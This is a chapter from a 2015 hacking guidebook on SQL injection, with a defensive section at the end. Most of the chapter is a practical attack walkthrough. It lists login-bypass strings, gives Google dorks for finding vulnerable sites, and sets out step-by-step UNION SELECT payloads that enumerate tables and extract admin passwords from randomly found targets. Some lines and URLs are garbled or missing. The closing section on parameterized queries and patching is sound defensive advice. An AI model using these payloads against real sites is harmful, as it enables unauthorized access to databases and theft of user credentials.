WEBSITE HACKING - Hack-X-Crypt A Straight Forward Guide Towards Ethical Hacking And Cyber Security (2015)

Hack-X-Crypt A Straight Forward Guide Towards Ethical Hacking And Cyber Security (2015)



Now take your time and be serious and free before starting this article because this is the very wide and one of the most interesting articles among all of the above chapters. We will discuss in this chapter that how to hack any vulnerable site using SQL injection.

What is SQL Injection?

SQL injection is one of the popular web applications hacking method. Using the SQL Injection attack, an unauthorized person can access the database of the website. Attacker can extract the data from the Database.

What a hacker can do with SQL Injection attack?

Ø * ByPassing Logins
Ø * Accessing secret data
Ø * Modifying contents of website
Ø * Shutting down the My SQL server

So, here we start with bypassing login …….i.e.
Authentication bypass:

In this type of SQL injection generally if we had found the Admin login page and after that we will try to open the control panel account of the admin by passing the authentication.
If you have the admin login page of any website then you can paste the following codes (with quotes) to bypass the authentication of the website ….generally PHP websites are vulnerable to this injection:

You can find these types of sites simply by Google searches. You have to type like this in the Google search bar: Or /admin.php? Or Wp-login.php? Etc.

After finding the login page you have to paste the following codes in both userID and password of the admin page till it will bypassed. If not we will try the next SQL injection i.e. union based, blind based, error based etc.

Codes to be used as both userID and password at the admin login page of vulnerable website for bypassing authentication are as follow:

Ø ‘ or ’1'=’1 Ø‘ or ‘x’='x Ø‘ or 0=0 – Ø” or 0=0 – Ø or 0=0 – Ø‘ or 0=0 # Ø” or 0=0 # Ø or 0=0 # Ø‘ or ‘x’='x Ø” or “x”=”x Ø‘) or (‘x’='x Ø
Ø‘ or 1=1– Ø” or 1=1– Ø or 1=1– Ø‘ or a=a– Ø” or “a”=”a Ø‘) or (‘a’='a Ø“) or (“a”=”a Øhi” or “a”=”a Øhi” or 1=1 – Øhi’ or 1=1 – Ø‘or’1=1' Ø

If the authentication bypass will not work then try the following techniques carefully and step by step:
Ø Finding Vulnerable Website:

To find a SQL Injection vulnerable site, you can use Google search by searching for certain keywords. That keyword often called as “GOOGLE DORK”.

Some Examples:
Ø inurl:index.php?id= Ø inurl:gallery.php?id= Ø inurl:article.php?id= Ø inurl:pageid=

Now you have to Copy one of the above keyword and Google it. Here, we will get a lot of search results with which we have to visit the websites one by one for finding the vulnerability.

For example: inurl:index.php?id= Step 1: Findinging the Vulnerability:

Now let us the vulnerability of the target website. To the vulnerability, add the single quotes(') at the end of the URL and press enter.

For eg:'
If the page remains in same page or showing that page not found, then it is not vulnerable.
If you got an error message just like this, then it means that the site is vulnerable.

You have an error in your SQL syntax; the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Step 2: Finding Number of columns in the database:
Great, we have found that the website is vulnerable to SQLi attack.
Our next step is to find the number of columns present in the target Database.
For that replace the single quotes(') with "order by n" statement.
Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

For eg: order by 1 order by 2 order by 3 order by 4 If you get the error while trying the "n"th number, then number of

column is "n-1".
I mean: order by 1(no error shown shown) order by 2(no

error shown) order by 3(no
error shown) order by 4(no
error shown) order by 5(no
error shown) order by 6(no
error shown) order by 7(no
error shown) order by 8(error

So now n=8, the number of column is n-1 i.e., 7.

In case, if the above method fails to work for you, then try to add the "--" at the end of the statement.
For eg: order by 1-Step 3: Find the Vulnerable columns:

We have successfully found the number of columns present in the target database. Let us find the vulnerable column by trying the query "union select columns sequence".

Change the id value to negative (i mean id=-2). Replace the columns_sequence with the no from 1 to n-1(number of columns) separated with commas (,).

For eg:

If the number of columns is 7, then the query is as follow: union select 1, 2,3,4,5,6,7—

Ifyou have applied the above method and is not working then try this: and 1=2 union select 1,2,3,4,5,6,7-

Once you execute the query, it will display the vulnerable column.

Bingo, column '3' and '7' are found to be vulnerable. Let us take the first vulnerable column '3' . We can inject our query in this column.
Step 4: Finding version,database,user
Replace the 3 from the query with "version()"
For eg: and 1=2 union select 1, 2, version(),4,5,6,7—
Now, It will display the version as 5.0.2 or 4.3. Something likes this.
Replace the version () with database () and user() for finding the database,user respectively.
For eg: and 1=2 union select 1,2,database(),4,5,6,7- and 1=2 union select 1,2,user(),4,5,6,7-
If the above is not working, then try this: and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7-

Step 5: Finding the Table Name
If the Database version is 5 or above. If the version is 4.x, then you
have to guess the table names (blind sql injection attack). Let us find the table name of the database. Replace the 3 with
"group_concat(table_name) and add the "from
information_schema.tables where table_schema=database()"

For eg: and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()-

Now it will display the list of table names. Find the table name which is related with the admin or user.

Let us choose the "admin " table.
Step 6: Finding the Column Name
Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar—

We have to convert the table name to MySql CHAR() string .
Install the HackBar addon from:

Once you installed the add-on, you can see a toolbar that will look like the following one. If you are not able to see the Hackbar, then press F9.

Select sql->Mysql->MysqlChar() in the Hackbar.

It will ask you to enter string that you want to convert to MySQLCHAR(). We want to convert the table name to MySQLChar . In our case the table name is 'admin'.

Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.

Copy and paste the code at the end of the url instead of the "mysqlchar"

For eg: and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100,

109, 105, 110)—
The above query will display the list of column.
For example:

admin,password,admin_id,admin_name,admin_password,active,id ,admin_name,admin_pass,admin_id,admin_name,admin_passwo rd,ID_admin,admin_usern me,username,password..etc..

Now replace the replace group_concat(column_name) with group_concat(columnname1,0x3a,anothercolumnname2).

Now replace the " from table_name=CHAR(97, 100, table_name"
information_schema.columns where

109, 105, 110)" with the "from
For eg:
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin-
If the above query displays the 'column is not found' error, then try another column name from the list.

If we are lucky, then it will display the data stored in the database depending on your column name. For example, username and password column will display the login credentials stored in the database.

Step 7: Finding the Admin Panel:

Just try with url like:

If you are lucky, you will find the admin page using above urls or you can use some kind of admin finder tools like Havij admin finder, sql poison for SQL attacking (tool).

And once you found the admin panel you have to do further works on your own risk.

This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. SQL Injection attacks are unfortunately very common, and this is due to two factors:

1.) The significant prevalence of SQL Injection vulnerabilities, and
2.) The attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).

It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.

SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either: a) stop writing dynamic queries; and/or b) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.

This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these three problems. These techniques can be used with practically any kind of programming language with any type of database.

SQL injection flaws typically look like this:

The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The invalidated“customerName” parameter that issimplyappended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.

String query = "SELECT account_balance FROM user_data WHERE user_name = "
+ request.getParameter("customerName");

try {
Statement statement = connection.createStatement( … ); ResultSet results = statement.executeQuery( query );

Option 1: Prepared Statements (Parameterized Queries):

The use of prepared statements (parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.
Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. If an attacker were to enter the user ID ' or '1'='1 , the parameterized query would not be vulnerable.

2. Use dynamic SQL only if absolutely necessary.

Dynamic SQL can almost always be replaced with prepared statements, parameterized queries, or stored procedures. For instance, instead of dynamic SQL, in Java you can use PreparedStatement() with bind variables, in .NET you can use parameterized queries, such as SqlCommand() or OleDbCommand() with bind variables, and in PHP you can use PDO with strongly typed parameterized queries (using bindParam()).

In addition to prepared statements, you can use stored procedures. Unlike prepared statements, stored procedures are kept in the database but both require first to define the SQL code, and then to pass parameters.

3:- Escaping All User Supplied Input

This third technique is to escape user input before putting it in a query. If you are concerned that rewriting your dynamic queries as prepared statements or stored procedures might break your application or adversely affect performance, then this might be the best approach for you. However, this methodology is frail compared to using parameterized queries and i cannot guarantee it will prevent all SQL Injection in all situations. This technique should only be used, with caution, to retrofit legacy code in a cost effective way. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries.

This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.

4. Install patches regularly and timely.

Even if your code doesn't have SQL vulnerabilities, when the database server, the operating system, or the development tools you use have vulnerabilities, this is also risky. This is why you should always install patches, especially SQL vulnerabilities patches, right after they become available.

5. Remove all functionality you don't use.

Database servers are complex beasts and they have much more functionality than you need. As far as security is concerned, more is not better. For instance, the xp_cmdshell extended stored procedure in MS SQL gives access to the shell and this is just what a hacker dreams of. This is why you should disable this procedure and any other functionality, which can easily be misused.

6. Use automated test tools for SQL injections. Even if developers follow the rules above and do their best to avoid dynamic queries with unsafe user input, you still need to have a procedure to confirm this compliance. There are automated test tools to check for SQL injections and there is no excuse for not using them to check all the code of your database applications.